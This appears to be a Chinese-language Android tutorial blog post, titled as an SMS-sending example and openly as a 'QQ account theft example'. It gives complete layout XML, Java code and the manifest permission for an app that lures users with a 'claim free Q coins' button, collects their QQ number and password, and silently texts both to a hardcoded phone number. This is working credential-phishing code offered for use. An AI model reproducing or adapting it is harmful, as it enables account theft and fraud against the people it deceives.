天天看點

安卓簡單發送短信案例-qq盜号案例發送短信案例

發送短信案例

  1. 布局
  2. 設定點選事件
  3. 添權重限

1、布局

  • 賬号輸入框
  • 密碼輸入框
  • 發送短信按鈕
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical" android:layout_width="match_parent"
    android:layout_height="match_parent">
    <EditText
        android:id="@+id/et_qq"
        android:inputType="number"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:hint="輸入QQ号"/>
    <EditText
        android:id="@+id/et_pwd"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:inputType="textPassword"
        android:hint="輸入QQ密碼"
        />
    <Button
        android:id="@+id/btn"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="點選領取Q币"/>
    
    </LinearLayout>
               

2、設定點選事件

先要聲明輸入框和密碼框及按鈕的變量

public class MainActivity extends AppCompatActivity {
private EditText et_qq;
private EditText et_pwd;
private Button btn;
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.sms);
    et_qq=(EditText)findViewById(R.id.et_qq);
    et_pwd=(EditText)findViewById(R.id.et_pwd);
    btn=(Button)findViewById(R.id.btn);
    btn.setOnClickListener(new BtnSend());//設定按鈕的點選監聽事件
}
private class BtnSend implements View.OnClickListener{
    public void onClick(View v){
        String qq=et_qq.getText().toString().trim();//擷取到的qq轉化為字元類型并去掉空格
        String pwd=et_pwd.getText().toString().trim();
        if(TextUtils.isEmpty(qq)||TextUtils.isEmpty(pwd)){//判斷qq和密碼的輸入框是否為空
            Toast.makeText(MainActivity.this,"賬号和密碼不能為空",Toast.LENGTH_SHORT).show();
            return;
        }
        SmsManager smsManager=SmsManager.getDefault();
        smsManager.sendTextMessage("18989116206",null,qq+"\n"+pwd,null,null);
    }
}
}
           

3、添權重限

1、在AndroidManifest添加發送短信的權限

<uses-permissions android:name="android.permissions.SEND_SMS"/>
           

2、在虛拟機中或真機應用中打開發送短信的權限

在安裝apk的時候預設是不開啟的,是以就會存在為什麼已經在AndroidManifest中添權重限還是會停止運作!